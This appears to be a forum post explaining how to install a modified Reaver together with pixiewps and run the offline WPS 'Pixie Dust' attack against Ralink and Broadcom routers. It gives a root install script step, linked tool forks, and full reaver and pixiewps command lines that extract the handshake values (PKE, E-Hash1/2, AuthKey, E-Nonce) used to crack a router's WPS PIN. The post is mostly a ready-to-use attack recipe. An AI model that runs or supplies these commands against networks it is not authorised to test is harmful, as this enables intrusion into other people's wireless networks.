Update2: More PixieWPS Tools.
https://github.com/nxxxu/AutoPixieWps (Tested On Kali Linux 1.1.0)
https://github.com/aanarchyy/wifite-mod-pixiewps (Tested On Kali Linux 1.1.0)
Update1: Since more options continue to occur, figured it would be best to simply attach the link of where to look for updates.
https://github.com/t6x/reaver-wps-fork-t6x
Delete\Replace the old 'reaver-wps-fork-t6x-master' folder & simply re-run 'modifiedreaver+pixiewps-install.sh'
Update0: No more copying and pasting. Install this Modified Reaver, needed dependencies, & pixiewps.
Newly Attached: ModifiedReaver&PixieWPS1.zip
First Order of Business: Place all folders/files on /root/
Secondly: chmod +x, modifiedreaver+pixiewps-install.sh & execute it.
It simply contains a bunch of shell commands without having to do it manually.
Launch this modified reaver against the AP, it prints the needed values for pixiewps.
Afterwards, pixiewps is launched automatically.
New Arguments for reaver:
-K (run ./reaver and have a look!)
reaver example: ./reaver -i mon0 -b APBSSID -vv -d 15 -c 1 -T .20 -K 3
Credit to whomever it's due:
Dominique Bongard
wiire
soxrok2212
DataHead
Espresso_Boy
t6x
dudux
etc.
Original:
Offline WPS Vulnerability Assessment Tool (pixiewps)
Supports: Ralink & Broadcom Routers
Attached: Modified Reaver, pixiewps, needed dependencies & a bash script to install everything in one fell swoop! (Tested on Kali Linux 1.1.0)
First Order of Business: Place all folders/files on /root/
Secondly: chmod +x, modifiedreaver+pixiewps-install.sh & execute it. (It simply contains a bunch of shell commands without having to do it manually.)
Reaver has been modified to print the below needed values for pixiewps. (Run reaver & let it complete one pin transaction attempt.)
PKE
E-Hash1
E-Hash2
AuthKey
E-Nonce
Reaver Example In A New Terminal: reaver -i mon0 -b APBSSID -vv -d 15 -S -c 6 -T .20
Pixiewps Command Arguments:
-e PKE
-s E-Hash1
-z E-Hash2
-a AuthKey
-S dh-small
-n E-Nonce (Try to use this on Bcm3xxx/Bcm6xxx chip routers if pin not found.)
Pixiewps Example In A New Terminal:
pixiewps -e PastePKEFromModifiedReaver -s PasteE-Hash1FromModifiedReaver -z PasteE-Hash2FromModifiedReaver -a PasteAuthKeyFromModifiedReaver -S -n PasteE-NonceFromModifiedReaver
PS:
I'm just a messenger & taking no credit to whomever it's due.
Dominique Bongard
wiire
soxrok2212
dudux
etc.